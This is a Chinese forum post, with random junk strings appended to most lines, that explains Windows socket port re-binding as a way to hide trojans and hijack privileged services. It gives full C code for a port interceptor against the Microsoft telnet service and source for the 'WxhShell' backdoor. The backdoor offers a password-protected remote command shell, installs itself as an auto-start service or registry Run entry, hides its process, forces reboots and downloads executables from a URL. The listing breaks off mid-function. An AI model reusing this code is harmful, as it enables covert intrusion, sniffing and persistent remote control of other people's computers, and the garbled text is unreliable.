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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (d (>0YMv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i}i >ho-8  
x25zk4-  
  saddr.sin_family = AF_INET; M)AvcZNs  
v-^tj}jA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o~q.j_Sa  
79-5 0}A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kp1 F"!  
c': 4e)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m/(/!MVy  
(TO<SY3AB  
  这意味着什么?意味着可以进行如下的攻击: Q9B!0G.-bs  
5,V*aP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4FZ/~Y1}  
oDJ &{N|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &^uaoB0  
YI> xxWA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5p5"3m;M7  
-S&9"=v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q~k|lTf  
3d7A/7S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *.+F]-  
81(\8#./  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0Zo><=  
\Y!=O=za]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p=Le oc1  
\u(Gj]B#"  
  #include !|]k2=+I  
  #include B4+c3M\$V  
  #include ggYi7Wzsd  
  #include     w}t}Sh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G\,B*$3   
  int main() ,# .12Q!  
  { <w8H[y"c  
  WORD wVersionRequested; I,,SR"  
  DWORD ret; qe(C>qjMbG  
  WSADATA wsaData; /h`gQyGuY  
  BOOL val; v)nv"o[  
  SOCKADDR_IN saddr; @,6*yyO  
  SOCKADDR_IN scaddr; CRrEs 18;#  
  int err; 589fr"Ma,6  
  SOCKET s; _%B,^0;C  
  SOCKET sc; )`\Q/TMl5  
  int caddsize; h^`@%g9 S  
  HANDLE mt; yf R0vp<&  
  DWORD tid;   v$(Z}Hg  
  wVersionRequested = MAKEWORD( 2, 2 ); _4#7 ?p  
  err = WSAStartup( wVersionRequested, &wsaData ); *8yC6|wL?  
  if ( err != 0 ) { C#1'kQO  
  printf("error!WSAStartup failed!\n"); xS+xUi  
  return -1; o8%o68py  
  } p} eO  
  saddr.sin_family = AF_INET; 5INw#1~  
   x;~@T9.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V$Oj@vI  
l 6aD3?8LN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p-rQ'e  
  saddr.sin_port = htons(23); 85] 'I%gT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :6EX-Xyj  
  { ~HT:BO$  
  printf("error!socket failed!\n"); cd=H4:<T5  
  return -1; )-}<}< oO  
  } }XpZgd$  
  val = TRUE; s=E6HP@q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^"vmIC.h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) een62-`  
  { i??+5o@uTF  
  printf("error!setsockopt failed!\n"); EBQ_c@  
  return -1; `Jj b4]  
  } F* Yx1vj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k][{4~z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  z{V#_(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /6\uBy"Xt  
Bqk+ne  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^r7KEeVD  
  { $`0,N_C<}  
  ret=GetLastError(); >Kl_948  
  printf("error!bind failed!\n"); }20tdD ~  
  return -1; q1r-xsjV=  
  } ATmyoN2@>  
  listen(s,2); [kgCB7.V  
  while(1) JEZ0O&_R  
  { 3(.Y>er%U  
  caddsize = sizeof(scaddr); UalwK  
  //接受连接请求 Jk{v (W#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A L |,\s  
  if(sc!=INVALID_SOCKET) JZ-64OT  
  { \]\GDpu[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;\ j'~AyCn  
  if(mt==NULL) XZ8]se"C  
  { 3qV\XC+  
  printf("Thread Creat Failed!\n"); $h=v ;1"  
  break; 0YoV`D,U  
  } RgM=g8}M  
  } hW;n^\lF#e  
  CloseHandle(mt); 6bf!v  
  } 9]/:B8k  
  closesocket(s); x&EMg!  
  WSACleanup(); 9c{ ~$zJW  
  return 0; uX1{K%^<TW  
  }   %y)hYLOJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) X1V~.k vt)  
  { ;~`/rh V\  
  SOCKET ss = (SOCKET)lpParam; 1$m{)Io2(  
  SOCKET sc; uOd1:\%*  
  unsigned char buf[4096]; "`Xbi/i  
  SOCKADDR_IN saddr; <l+hcYam  
  long num; /Vx EqIK  
  DWORD val; N7X(gh2h  
  DWORD ret; Az>r}*F Gr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7.kH="@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aan(69=jz  
  saddr.sin_family = AF_INET; a [f}-t9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6hXh;-U  
  saddr.sin_port = htons(23); P4E_<v[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'I2[} >mj2  
  { W(.svJUgb.  
  printf("error!socket failed!\n"); ]2[\E~^KU  
  return -1; ._.Qf<7  
  } Fa#5a'}I  
  val = 100; wx2 z9Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t0^)Q$  
  { a%/x  
  ret = GetLastError(); &oFgZ.  
  return -1; lr -+|>M)  
  } ;YBk.} %  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FJW,G20L  
  { HisH\z/i5)  
  ret = GetLastError(); 4'N 4,3d$  
  return -1; )R"UX:Q>  
  } K>-01AGHL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =%b1EY k  
  { $bZ5@)E  
  printf("error!socket connect failed!\n"); fvA167\  
  closesocket(sc); W4nhPH(  
  closesocket(ss); <anU#bEuQ  
  return -1; bhfC2@  
  } %V#? 1{  
  while(1) CUaL  
  { YH{n   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "`* >co6r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^<j =.E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D\pX@Sx,v[  
  num = recv(ss,buf,4096,0); # `@jVX0  
  if(num>0) "R% RI( y{  
  send(sc,buf,num,0); 6O*lZNN  
  else if(num==0) nM99AW  
  break; ]Z [0xs  
  num = recv(sc,buf,4096,0); TA~ZN^xI  
  if(num>0) r( zn1;zl  
  send(ss,buf,num,0); /?}2OCq  
  else if(num==0) gMU%.%p2  
  break; hXD/  
  } }8`>n4  
  closesocket(ss); =L{-Hu/j  
  closesocket(sc); LeNSjxB  
  return 0 ; `9acR>00$  
  } SES-a Mi3  
IL"N_ux~w~  
n ON]YDg  
========================================================== b]N&4t  
KNOVb=# f_  
下边附上一个代码,,WXhSHELL Y6(= cm  
+HG*T[%/  
========================================================== vr_Z0]4`C9  
EWOa2^%}Z\  
#include "stdafx.h" (N`GvB7;  
S[N9/2  
#include <stdio.h> SU jo%3R  
#include <string.h> v'r)d-T   
#include <windows.h> ,}wFQ9*|W  
#include <winsock2.h> $\PU Y8  
#include <winsvc.h> 9VSi2p*  
#include <urlmon.h> /+m2|Ij(  
|n~,{=  
#pragma comment (lib, "Ws2_32.lib") .=9d3uWJ/  
#pragma comment (lib, "urlmon.lib") 1had8K-  
$  k_6  
#define MAX_USER   100 // 最大客户端连接数 (ki= s+W-  
#define BUF_SOCK   200 // sock buffer `Io#440;  
#define KEY_BUFF   255 // 输入 buffer 1Afy$It/{  
Ep3I*bQ Y  
#define REBOOT     0   // 重启 f85~[3 J  
#define SHUTDOWN   1   // 关机 M; YJpi  
8i)9ho<  
#define DEF_PORT   5000 // 监听端口 ]kF1~kXBe  
XC O8A\  
#define REG_LEN     16   // 注册表键长度 t=fP^bJ  
#define SVC_LEN     80   // NT服务名长度 > }kZXeR|  
=T1Xfib  
// 从dll定义API nC)"% Sa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OU!."r`9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RF~G{wz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ES8(:5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YGRb|P-  
po.QM/b \  
// wxhshell配置信息 n^*,JL 9@  
struct WSCFG { 0|8cSE< i  
  int ws_port;         // 监听端口 ew]G@66  
  char ws_passstr[REG_LEN]; // 口令 @Bn4ZF B@  
  int ws_autoins;       // 安装标记, 1=yes 0=no "bQi+@  
  char ws_regname[REG_LEN]; // 注册表键名 G\^<MR|  
  char ws_svcname[REG_LEN]; // 服务名 "yj_v\@4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *B9xL[}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !YZKa-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }}k*i0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -)R =p"-w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {dn:1IcN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hMUUnr"8;i  
^YB2E*  
}; S(CVkCP  
< RtyW  
// default Wxhshell configuration ]Tg@wMgI  
struct WSCFG wscfg={DEF_PORT, # s7e/GdKb  
    "xuhuanlingzhe", #)]/wqPoW  
    1, AWssDbh/[  
    "Wxhshell", #^R@EZ  
    "Wxhshell", ]'w5s dP  
            "WxhShell Service", 0rm(i*Q  
    "Wrsky Windows CmdShell Service", *'\HG  
    "Please Input Your Password: ", _6'@#DN  
  1,  yK$aVK"  
  "http://www.wrsky.com/wxhshell.exe", Ih4$MG6QC  
  "Wxhshell.exe" 1LAd5X  
    }; sg49a9`8  
aAG']y  
// 消息定义模块 &\b(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XXA]ukj;r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .D\oKhV(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'cQ,;y  
char *msg_ws_ext="\n\rExit."; YMU""/(  
char *msg_ws_end="\n\rQuit."; '>n&3`r5  
char *msg_ws_boot="\n\rReboot..."; "?lz[K>  
char *msg_ws_poff="\n\rShutdown..."; S8v?H|rm  
char *msg_ws_down="\n\rSave to "; lNtxM"G&  
r/"^{0;F{W  
char *msg_ws_err="\n\rErr!"; d|9]E&;,  
char *msg_ws_ok="\n\rOK!"; F`2h,i-9  
(n7{?`Yid  
char ExeFile[MAX_PATH]; |5X59! JL  
int nUser = 0; %e3E}m>  
HANDLE handles[MAX_USER]; %lGOExV%  
int OsIsNt; !H{>c@i  
dNF_ T?E\  
SERVICE_STATUS       serviceStatus; z!18Jh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =&qH%S6  
v?}0h5  
// 函数声明 o?Cc  
int Install(void); Uxik&M  
int Uninstall(void); qu dY9_  
int DownloadFile(char *sURL, SOCKET wsh); 2FV@ ?x0po  
int Boot(int flag); kv,!"<  
void HideProc(void); H$ g*  
int GetOsVer(void); BHYguS^qz  
int Wxhshell(SOCKET wsl); \=mLL|a  
void TalkWithClient(void *cs); ccPWfy_  
int CmdShell(SOCKET sock); jYFmL_{  
int StartFromService(void); Il(o[Q>jJ3  
int StartWxhshell(LPSTR lpCmdLine); wU<j=lY?f  
MSeg7/MF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F4WX$;1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SK^(7Ws~0  
N5ZO pRH{  
// 数据结构和表定义 \[.qN  
SERVICE_TABLE_ENTRY DispatchTable[] = ",Vx.LV  
{ )oz2V9X{  
{wscfg.ws_svcname, NTServiceMain}, W*CRxGyZCl  
{NULL, NULL} 8>6<GdGL<n  
}; 2nCc(F&+?  
T4"D&~3 3q  
// 自我安装 jgG9?w)|u  
int Install(void) 9&.md,U'  
{ LP|YW*i=IQ  
  char svExeFile[MAX_PATH]; alHA&YC{K  
  HKEY key; C58o="L3S  
  strcpy(svExeFile,ExeFile); (l-= /6-  
nqUnDnP2c  
// 如果是win9x系统,修改注册表设为自启动 xP&7i'ag  
if(!OsIsNt) { .r6x9t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9X;*GC;d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Wy'  
  RegCloseKey(key); eL(<p]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $L6R,%c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <f8j^  
  RegCloseKey(key); NW`.7'aWT  
  return 0; U.P1KRY|=  
    } 87+fd_G  
  } 0 D '^:  
} jaKW[@<  
else { 7g+T  
I#O"<0 *r  
// 如果是NT以上系统,安装为系统服务 E&y)`>Nq{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j7gTVfO  
if (schSCManager!=0) };9s8VZE  
{ )lS04|s  
  SC_HANDLE schService = CreateService v^t7)nx^  
  ( \ f+;X  
  schSCManager, KRT&]2  
  wscfg.ws_svcname, Y)5O %@Rl  
  wscfg.ws_svcdisp, C5I7\9F)  
  SERVICE_ALL_ACCESS, M57<e`m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J@_^]  
  SERVICE_AUTO_START, Komdz/g  
  SERVICE_ERROR_NORMAL, :dULsl$Nz  
  svExeFile, t^YtP3`?b  
  NULL, *P`wuXn}  
  NULL, pY )x&uM!  
  NULL, 2672oFD  
  NULL, Er~KX3vF  
  NULL Um4zI>  
  ); 8uLS7\,$z  
  if (schService!=0) a?r$E.W'&  
  { = wDXlAQ  
  CloseServiceHandle(schService); g*YA~J@  
  CloseServiceHandle(schSCManager); l~]] RgU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !JrKTB%  
  strcat(svExeFile,wscfg.ws_svcname); Q> y!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X5J)1rL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @- |G_BZ  
  RegCloseKey(key); fv8x7l7  
  return 0; B47I?~{  
    } W#P\hx  
  } ij-'M{f  
  CloseServiceHandle(schSCManager); r1%{\<   
} <af# C2`B  
} dB4ifeT]  
|au`ph5  
return 1; K\U`gTGc  
} ]j/= x2p  
H6 x  
// 自我卸载 Bt@?l]Y  
int Uninstall(void) PL$XXj>|:  
{ W9w(a:~hY  
  HKEY key; e3CFW_p  
l%GArH`  
if(!OsIsNt) { {*O+vtir%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :K2 X~Ty  
  RegDeleteValue(key,wscfg.ws_regname); o<!H/PN  
  RegCloseKey(key); '{ =F/q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HLV8_~gQPf  
  RegDeleteValue(key,wscfg.ws_regname);  d6tLC Q  
  RegCloseKey(key); MSM8wYcD  
  return 0; T]&?^QGAZ  
  } _%2ukuJ `  
} v%*don  
} Ep./->fOA  
else { LZ_VLW9w E  
"M iJM+,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =h-E N_[  
if (schSCManager!=0) M]{~T7n-  
{ T>nH=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _dk[k@5W{'  
  if (schService!=0) 8TB|Y  
  { QEt"T7a[/  
  if(DeleteService(schService)!=0) { hizM}d-"C  
  CloseServiceHandle(schService); +0%r@hTv&>  
  CloseServiceHandle(schSCManager); 6?M/7 1  
  return 0; W>w(|3\  
  } ya~;Of5  
  CloseServiceHandle(schService); $)ka1L"N  
  } @uRJl$3  
  CloseServiceHandle(schSCManager); U'" #jT  
} TX$dxHSPK  
} w#A\(z%;x  
`O2P&!9&  
return 1; *Xk5H,:  
} 6}R*7iM s  
3;Yd"  
// 从指定url下载文件 T:{&e WH  
int DownloadFile(char *sURL, SOCKET wsh) 3^ UoK  
{ r?[[.zm"7  
  HRESULT hr; $<)]~* *K  
char seps[]= "/"; =6ru%.8U,  
char *token; M-h+'G  
char *file; 084Us s  
char myURL[MAX_PATH]; g!_#$az3  
char myFILE[MAX_PATH]; %D#&RS  
%Jh( 5  
strcpy(myURL,sURL); tc`3-goX  
  token=strtok(myURL,seps); 2C:u)}R7D  
  while(token!=NULL) Z|*#)<| ~  
  { |k}L=oWE  
    file=token; z0+JMZ/  
  token=strtok(NULL,seps); O6?{@l  
  } Z_bVCe{  
ldp9+7n~  
GetCurrentDirectory(MAX_PATH,myFILE); ~xY"P)(x;  
strcat(myFILE, "\\"); V]J"v#!{  
strcat(myFILE, file); j$_?g!I=gK  
  send(wsh,myFILE,strlen(myFILE),0); ?F]P=S:x  
send(wsh,"...",3,0); XZk%5t|t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tik*[1it  
  if(hr==S_OK)  N{g7  
return 0; &uE )Vr4R  
else x*F- d2D  
return 1; LvS5N)[  
*LBF+L^C%  
} 9c}C<s`M  
%fS1g Sf h  
// 系统电源模块 qh6b;ae\x  
int Boot(int flag) 3,G|oR{D  
{ VFZyWX@#u  
  HANDLE hToken; ec#`9w$  
  TOKEN_PRIVILEGES tkp; J&h59dm-  
bQI :N  
  if(OsIsNt) { 5s^vC2$)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lGp:rw`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }O crA/  
    tkp.PrivilegeCount = 1; $~:ZzZO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;8vB7|54.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " w V  
if(flag==REBOOT) { j8e=],sQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c %Y *XJ'  
  return 0; YY tVp_)  
} ]5 ]wyDj  
else { 1S(oi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) # {k$Fk  
  return 0; H&*&n}vh5y  
} >clVV6B  
  } _G-6G=q  
  else { '.pGkXyQ  
if(flag==REBOOT) { 34)l3UI~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pK{G2]OK{U  
  return 0; D8w.r"ne  
} 9fbo  
else { 3VMaD@nYa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W=S^t_F  
  return 0; aW|=|K  
} 7!`1K_v6  
} @fo(#i&  
SLkgIb~'X  
return 1; !T)_(}|6}  
}  K\ pZ  
?^-fivzS>  
// win9x进程隐藏模块 h8M}}   
void HideProc(void) jsV1~1:83  
{ >W/mRv&  
&?@U_emLi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p|0SA=?k"  
  if ( hKernel != NULL ) r#ADxqkaV  
  { eUa:@cA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Cs9$J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U[yA`7Zs}  
    FreeLibrary(hKernel); <|WXFjn  
  } Ygfy;G%  
th"Aatmp  
return; V.Lk70 \  
} b4KNIP7E  
*6_>/!ywI  
// 获取操作系统版本 I L&PN`#  
int GetOsVer(void) 0 >(hiT y<  
{ 4|j Pr J  
  OSVERSIONINFO winfo; DeN2P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A$P Oc<  
  GetVersionEx(&winfo); >W:kTS<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) - t 4F  
  return 1;  - sq= |  
  else WT 5 2  
  return 0; #'#@H  
} aJs! bx>K  
s/;S2l$`  
// 客户端句柄模块 [W'2z,S`WD  
int Wxhshell(SOCKET wsl) z+_d*\  
{ aNICSxDN  
  SOCKET wsh; PGTjOkx  
  struct sockaddr_in client; D#>d+X$  
  DWORD myID; xf:|lQf  
dZd]p8  
  while(nUser<MAX_USER) 1NN#-U  
{ BQgK<_  
  int nSize=sizeof(client); HErG%v]nw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6D4u?P,  
  if(wsh==INVALID_SOCKET) return 1; ?O#"x{Pk  
#("E) P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dP/1E6*m  
if(handles[nUser]==0) 0n?^I>j  
  closesocket(wsh); :{#w-oC>6P  
else S]c&T`jx  
  nUser++; p" Di;3!y!  
  } Q\le3KB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R36A_  
FCt %of#  
  return 0; V9D>Xh!0H  
} QyEoWKu;  
Ch&2{ ng  
// 关闭 socket #ChF{mh  
void CloseIt(SOCKET wsh) Kl :x?"g)  
{ ~Y7:08  
closesocket(wsh); X_wPuU%  
nUser--; *b(nX,e  
ExitThread(0); y>JSo9[@  
} sH{(=N  
E$5A 1  
// 客户端请求句柄 Up1e4mNL  
void TalkWithClient(void *cs) @t#Ju1Y  
{ ";w"dfC^  
&>Nw>V  
  SOCKET wsh=(SOCKET)cs; ff 2`4_ ,|  
  char pwd[SVC_LEN]; -=4:qQEw  
  char cmd[KEY_BUFF]; TDW\n  
char chr[1]; z7O$o/E-*  
int i,j; `R_;n#3F0  
qL!pDZk  
  while (nUser < MAX_USER) { &jE@i#  
n4Q ^   
if(wscfg.ws_passstr) { S,qEKWyLd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /qPhptV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0-I L@Di`F  
  //ZeroMemory(pwd,KEY_BUFF); QWAtF@qTV  
      i=0; )SWLX\b  
  while(i<SVC_LEN) { @`:z$52  
Y/,Cy0!  
  // 设置超时 "|d# +C  
  fd_set FdRead; 78t:ge eX  
  struct timeval TimeOut; A0gRX]  
  FD_ZERO(&FdRead); Hus.Jfam  
  FD_SET(wsh,&FdRead); AP/#?   
  TimeOut.tv_sec=8; c#`&uLp  
  TimeOut.tv_usec=0; DDp\*6y3l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ws:MbZyr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nu7lPEM  
f2Z(hYH~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A$W~R  
  pwd=chr[0]; =r>u'wRQ  
  if(chr[0]==0xd || chr[0]==0xa) { Yp;?Zq9  
  pwd=0; Zd8`95  
  break; `E8D5'tt  
  } BKd?%V8:Q  
  i++; w'a3=_nW  
    } J)= "Im)  
JO&L1<B{v  
  // 如果是非法用户,关闭 socket ]q3.^F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sc$I,|d2  
} ..UA*#%1  
E{{Kz r2$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E5g|*M.+f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ygYy [IZ  
!p{CsR8c  
while(1) { n|eM}ymF+  
\U.js-  
  ZeroMemory(cmd,KEY_BUFF); ZP9x3MHe  
tYCVVs`?  
      // 自动支持客户端 telnet标准   Z^_gS&nDa~  
  j=0; >IJX=24Rc  
  while(j<KEY_BUFF) { kxt/I<cs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xt1\Sie  
  cmd[j]=chr[0]; |X;|=.  
  if(chr[0]==0xa || chr[0]==0xd) { %`}nP3  
  cmd[j]=0; `j!XWh*$  
  break; -|4 Oq  
  } MM(\>J[Uq  
  j++; -.l.@  
    } L wn  
61](a;Di  
  // 下载文件 'PWA  
  if(strstr(cmd,"http://")) { 2=uwGIF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yf/i)  
  if(DownloadFile(cmd,wsh)) 4`Lr^q}M+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CZog?O}<  
  else &pW2R}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P|t2%:_  
  } vQ,<Ke+d  
  else { `RXlqj#u  
7M Qh,J!"  
    switch(cmd[0]) { ojc.ykP$  
  % _nmv  
  // 帮助 Y=t? "E  
  case '?': { p}8?#5`/w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g)7@EU2  
    break; VxtX%McK  
  } v2k@yxt(  
  // 安装 8*Ty`G&v  
  case 'i': { 8.Ufw. 5  
    if(Install()) n'[>h0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<R2 X1  
    else '}IGV`c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NS-0-o|4#  
    break; _|T{2LvwT  
    } Nxna H!wS  
  // 卸载 3)I]bui  
  case 'r': { uU%Z%O  
    if(Uninstall()) _}F _Q5)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bOSqD[?  
    else 5)A[NTNJx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E\TWPV'/  
    break; +;4;~>Y  
    } ?d+ri  
  // 显示 wxhshell 所在路径 0!oqP1  
  case 'p': { _>ZC;+c?  
    char svExeFile[MAX_PATH]; g)=$zXWhP  
    strcpy(svExeFile,"\n\r"); O p1TsRm5L  
      strcat(svExeFile,ExeFile); m#[9F']Z`  
        send(wsh,svExeFile,strlen(svExeFile),0); '#SZ|Rr6tX  
    break; 6TTu[*0NT  
    } $0vWC#.A]  
  // 重启 [ r  
  case 'b': { -}PE(c1%?q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :W6'G@ p  
    if(Boot(REBOOT)) .)=*Yr M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9CedD%40  
    else { P (DEf(  
    closesocket(wsh); 3Gr"YG{,  
    ExitThread(0); <-fvYer  
    } 'IFA>}e7W  
    break; !3iZa*  
    } m.!LL]]  
  // 关机 }V*?~.R  
  case 'd': { $gN\%X/n"1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,]nRnI^  
    if(Boot(SHUTDOWN)) 'n>44_7L  
